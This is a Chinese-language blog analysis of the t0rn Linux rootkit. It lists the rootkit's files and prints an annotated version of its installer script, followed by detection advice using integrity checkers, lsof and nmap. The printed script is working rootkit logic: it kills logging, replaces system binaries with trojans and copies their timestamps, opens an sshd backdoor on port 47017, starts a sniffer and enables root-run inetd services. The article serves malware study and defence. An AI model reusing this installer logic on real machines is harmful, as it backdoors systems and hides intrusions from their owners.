Rootkit分析:t0rn

简介


t0rn是一个lrn风格的Linux特洛伊木马,作者j0hnny7 / zho-d0h。2001年4月左右引起世界关注的狮子蠕虫的第一版就使用了这个rootkit。本文将对这个rootkit进行分析,以及如何对其进行检测。

t0rn采用二进制方式进行散发,因此攻击者可以非常容易地将其安装到Linux系统中,只要执行./t0rn就可以了。在其二进制发布包中除了一组系统应用程序的特洛伊版本外,还包括一个日志清理程序t0rnsb,一个嗅探器程序t0rns和一个日志语法分析程序t0rnp。

细节


  • t0rn的组成

    我们首先看一看t0rn的包含的文件,各个文件的属性以及它们的作用:

      drwxr-xr-x 4096 .t0rn
      drwxr-xr-x 4096 dev
      --------以下是特洛伊木马程序------------
      -rwxr-xr-x 22460 du
      -rwxr-xr-x 57452 find
      -rwxr-xr-x 32728 ifconfig
      -rwxr-xr-x 6408 in.fingerd
      -rwxr-xr-x 3964 login
      -rwxr-xr-x 39484 ls
      -rwxr-xr-x 53364 netstat
      -rwxr-xr-x 31336 ps
      -rwxr-xr-x 13184 pstree
      -rw-r--r-- 100424 ssh.tgz<--就是.t0rn目录的压缩包。
      -rwxr-xr-x 266140 top
      -------以上是特洛伊木马程序-----------
      -rwxr-xr-x 4568 pg<--对密码进行处理
      -rwxr-xr-x 1382 sz<--shell脚本文件,处理特洛伊木马程序的大小。t0rn rootkit使用这个脚本在木马程序中填加0,使其大小等于被替代的系统程序,作者:Tragedy/Dor。
      -rwxr-xr-x 7877 t0rn<--shell脚本文件,用于启动t0rn rootkit。
      -rwxr-xr-x 7578 t0rnp<--perl脚本文件,作者Jav。用于为LinSniffer的输出进行排序。
      -rwxr-xr-x 6948 t0rns<--网络嗅探器程序,可能就是LinSniffer或者其变体,理由在上面。^_^
      -rwxr-xr-x 1345 t0rnsb<--shell脚本文件,用于日志清理。原名sauber,作者:socked。
      -rw-r--r-- 3095 tornkit-README<--当然是教唆文件了。:)
      -rw-r--r-- 197 tornkit-TODO<--将要改进的特征,可是现在还没有看到过新版的t0rn。

      ./.t0rn:
      -rwxr-xr-x 201552 sharsed<--为其提供NIS或者DNS缓存服务的程序,可能就是一个nscd程序。
      -rw-r--r-- 488 shdcf2<--默认的sshd配置文件
      -rw-r--r-- 524 shhk<--ssh的私钥
      -rw-r--r-- 328 shhk.pub<--ssh的公钥
      -rw-r--r-- 512 shrs<--保存随机种子(Random Seed)的文件
        
      ./dev:
      -rw-r--r-- 19 .1addr
      -rw-r--r-- 72 .1file
      -rw-r--r-- 21 .1logz
      -rw-r--r-- 38 .1proc

    安装完成之后,还会产生一个保存密码密文的文件/etc/ttyhash。

  • 安装目录

    t0rn rootkit安装完成之后,会在系统中建立以下目录:

      /usr/src/.puta/<--保存t0rns、t0rnsb和t0rnp等可执行程序以及.1addr、.1file、.1logz、.1proc等文件。
      /usr/info/.t0rn/<--保存sshd相关的文件。


  • t0rn的执行流程

    在t0rn rootkit所有的文件中,t0rn脚本是整个rootkit的枢纽,因此我们将详细介绍一下这个脚本的执行流程,这个脚本里面有很多噱头,我对其进行了删减,下面的代码是修改之后的代码。你可以从t0rn的发布包中获得其完整的代码。

      #!/bin/sh

      killall -9 syslogd
      #杀死syslogd,以免在日志中留下记录。

      bla2=`pwd`
      #记录起始目录,以便安装完成后,从这个目录删除。

      if [ "`grep in.inetd /etc/rc.d/rc.sysinit`" ]; then
         echo "t0rnkit probably installed on machine [Alert]"
      else
      echo ""
      fi
      #检查是否系统中已经安装了t0rn rootkit

      SYSLOGCONF="/etc/syslog.conf"
      REMOTE=`grep -v "^#" "$SYSLOGCONF" | grep -v "^$" | grep "@" | cut -d '@' -f 2`
      #检测系统日志是否被记录到其它主机。

      if test -n "$1" ; then
      echo "Using Password :"
      cd $bla2
      ./pg $1 > /etc/ttyhash
      else
      echo "No Password Specified, using default - t0rnkit"
      ./pg t0rnkit >/etc/ttyhash
      fi
      #检查用户是否设置密码,如果用户没有设置密码,就使用t0rnkit作为密码。使用pg对密码进行加密,保存为/etc/ttyhash。

      if test -n "$2" ; then
      tar xfz ssh.tgz
      echo "Port $2" >> .t0rn/shdcf
      echo "3 $2" >> dev/.1addr
      cat .t0rn/shdcf2 >> .t0rn/shdcf ; rm -rf .t0rn/shdcf2
      else
      tar xfz ssh.tgz
      echo "Port 47017" >> .t0rn/shdcf
      echo "3 $2" >> dev/.1addr
      cat .t0rn/shdcf2 >> .t0rn/shdcf ; rm -rf .t0rn/shdcf2
      fi
      #解压ssh.tgz文件。检查用户是否设置了sshd使用的后门端口,如果没有设置就使用47017作为默认的后门端口。把端口号记录到dev/.1addr文件,并加入到.t0rn/shdcf文件中。最后把.t0rn/shdcf2中的默认设置填加到.t0rn/shdcf文件中,将其删除。

      touch -acmr /bin/login login
      #修改木马login的时间戳,使其和系统原来的login相同
      ./sz /bin/login login
      mv -f /bin/login /sbin/xlogin
      mv -f login /bin/login
      chmod 4555 /bin/login
      #用木马login程序替换原来的login,并把真正的login保存为/sbin/xlogin。

      mkdir -p /usr/src/.puta/
      mkdir -p /usr/info/.t0rn/
      cp dev/.1addr /usr/src/.puta/
      cp dev/.1file /usr/src/.puta/
      cp dev/.1logz /usr/src/.puta/
      cp dev/.1proc /usr/src/.puta/

      mv .t0rn/sh* /usr/info/.t0rn/
      mv /usr/info/.t0rn/sharsed /usr/sbin/nscd
      /usr/sbin/nscd -q
      echo "# Name Server Cache Daemon..">> /etc/rc.d/rc.sysinit
      echo "/usr/sbin/nscd -q" >> /etc/rc.d/rc.sysinit
      #在系统中加入一个nscd程序,并使其每次系统启动时,自动运行。nscd主要用于为DNS或者NIS提供高速缓存服务,以加快访问速度。这一步做的不是很小心:)

      touch -acmr /sbin/ifconfig ifconfig
      touch -acmr /bin/ps ps
      touch -acmr /usr/bin/du du
      touch -acmr /bin/ls ls
      touch -acmr /bin/netstat netstat
      touch -acmr /usr/sbin/in.fingerd in.fingerd
      touch -acmr /usr/bin/find find
      touch -acmr /usr/bin/top top
      #修改木马ps/top/du/ls/netstat/in.fingerd的时间戳特性

      mv -f in.fingerd /usr/sbin/in.fingerd
      mv -f ps /bin/ps
      mv -f ifconfig /sbin/ifconfig
      mv -f du /usr/bin/du
      mv -f netstat /bin/netstat
      mv -f top /usr/bin/top
      mv -f ls /bin/ls
      mv -f find /usr/bin/find
      #使用特洛伊木马程序替换系统原来的程序。

      cd $bla2
      mv t0rns /usr/src/.puta/t0rns
      mv t0rnp /usr/src/.puta/t0rnp
      mv t0rnsb /usr/src/.puta/t0rnsb
      cd /usr/src/.puta
      ./t0rns
      #把嗅探器程序t0rns,语法分析程序t0rnp和日志清理程序t0rnsb复制到其工作目录,然后启动嗅探器程序t0rns。

      sed "s/^#telnet/telnet/" /etc/inetd.conf > /tmp/.pinespool ; touch -acmr /etc/inetd.conf /tmp/.pinespool; mv -f /tmp/.pinespool /etc/inetd.conf
      sed "s/^#shell/shell/" /etc/inetd.conf > /tmp/.pinespool ; touch -acmr /etc/inetd.conf /tmp/.pinespool ;mv -f /tmp/.pinespool /etc/inetd.conf
      sed "s/^# telnet/telnet/" /etc/inetd.conf > /tmp/.pinespool ; touch -acmr /etc/inetd.conf /tmp/.pinespool; mv -f /tmp/.pinespool /etc/inetd.conf
      sed "s/^# shell/shell/" /etc/inetd.conf > /tmp/.pinespool ; touch -acmr /etc/inetd.conf /tmp/.pinespool ;mv -f /tmp/.pinespool /etc/inetd.conf
      sed "s/^#finger/finger/" /etc/inetd.conf > /tmp/.pinespool ; touch -acmr /etc/inetd.conf /tmp/.pinespool; mv -f /tmp/.pinespool /etc/inetd.conf
      sed "s/^# finger/finger/" /etc/inetd.conf > /tmp/.pinespool ; touch -acmr /etc/inetd.conf /tmp/.pinespool; mv -f /tmp/.pinespool /etc/inetd.conf
      sed '/finger/s/nobody/root/g' /etc/inetd.conf > /tmp/.pinespool ; touch -acmr /etc/inetd.conf /tmp/.pinespool; mv -f /tmp/.pinespool /etc/inetd.conf
      #修改/etc/inet.conf文件,使inet能够提供telnet、shell和finger服务,并且将finger的运行权限由nobody改为root,在改动过程中维持/etc/inet.conf文件的时间戳特性。


      killall inetd
      /usr/sbin/inetd
      #重新启动inetd,使修改的设置生效。

      cd $bla2
      cd ../
      rm -rf tk*
      #打扫战场,删除原来的东西。

      if [ -f /usr/sbin/syslogd ] ; then
      /usr/sbin/syslogd
      else
      /sbin/syslogd
      fi
      #重新启动syslogd


    检测


    t0rn安装后,比较难以检测,因为ps、top、du、ls和netstat等程序都被替换掉了。可以采取以下办法来检测、清除t0rn rootkit。

  • 使用数据完整性检测工具

    这时最简单,也是最为有效的一种方法。在系统安装完毕,以及修改系统配置之后,使用trip_wire或者aide等数据完整性检测工具对系统配置文件、可执行文件以及其它重要文件进行校验,把校验结果数据库放在一个安全的地方。如果发生系统被入侵或者被病毒感染等情况,通过校验结果数据库很容易找出被修改的文件。这些工具使用的校验方法非常强大、丰富,非常难以伪造,因此有非常高的可靠性。这种方法适用性非常广泛,也非常简单,但是却非常容易被忽视。

  • lsof

    t0rn rootkit的作者不知是有意还是无意,忽略了一个很重要的工具:lsof,这是他的一个失策。使用lsof很容易查出t0rn的蛛丝马迹。

      #lsof|grep LISTEN<--列出有进程监听的端口

      nscd 107 root 8u IPv4 110 TCP *:47017 (LISTEN)<--露馅了:)
      inetd 370 root 5u IPv4 329 TCP *:ftp (LISTEN)
      inetd 370 root 6u IPv4 330 TCP *:telnet (LISTEN)
      inetd 370 root 7u IPv4 331 TCP *:shell (LISTEN)
      inetd 370 root 9u IPv4 332 TCP *:finger (LISTEN)
      inetd 370 root 10u IPv4 333 TCP *:linuxconf (LISTEN)

      #lsof |grep t0rn<--列出所有被t0rn使用的文件描述符

      t0rns 557 root cwd DIR    3,1 0 51920 /home/tmiller/tk (del
      eted)
      t0rns 557 root rtd DIR 3,1 4096 2 /
      t0rns 557 root txt REG 3,1 6948 51927 /usr/src/.puta/t0rns
      t0rns 557 root mem REG 3,1 25034 19113 /lib/ld-linux.so.1.9.
      5
      t0rns 557 root mem REG 3,1 699832 64363 /usr/i486-linux-libc5
      /lib/libc.so.5.3.12
      t0rns 557 root 0u sock 0,0 489 can't identify protoc
      ol
      t0rns 557 root 1w REG 3,1 0 51963 /home/tmiller/tk/syst
      em (deleted)
      t0rns 632 root cwd DIR 3,1 4096 36547 /usr/src/.puta
      t0rns 632 root rtd DIR 3,1 4096 2 /
      t0rns 632 root txt REG 3,1 6948 51927 /usr/src/.puta/t0rns
      t0rns 632 root mem REG 3,1 25034 19113 /lib/ld-linux.so.1.9.
      5
      t0rns 632 root mem REG 3,1 699832 64363 /usr/i486-linux-libc5
      /lib/libc.so.5.3.12
      t0rns 632 root 0u sock 0,0 533 can't identify protoc
      ol
      t0rns 632 root 1w REG 3,1 0 34668 /usr/src/.puta/system

    然后,就可以清理了。

  • nmap

    SANS研究中心的Toby Miller提出了使用nmap来检测t0rn rootkit。使用nmap对可疑的主机进行端口扫描,很容易找出t0rn打开的监听端口47017。


    结论


    t0rn rootkit出现已经好长时间了,其发布形式虽然为安装提供了很大的方面,但是也造成了一个很大的缺陷,就是这个rootkit的可移植性非常差。它不能在比较新的Linux系统上(例如:RedHat7.x)顺利运行,主要原因就是它的一些程序(t0rns、ls、find、du、ps)是基于libc5的,在基于glibc的系统上运行会出现:bash2:./ls:No such file or directory的错误信息。

  • 300*300
    • 没有相关文章
    • 没有评论
     文章首页关于迷茫时代关于我写意人生
    版权所有:迷茫时代 All rights reserved   
    执行时间:0.00479 秒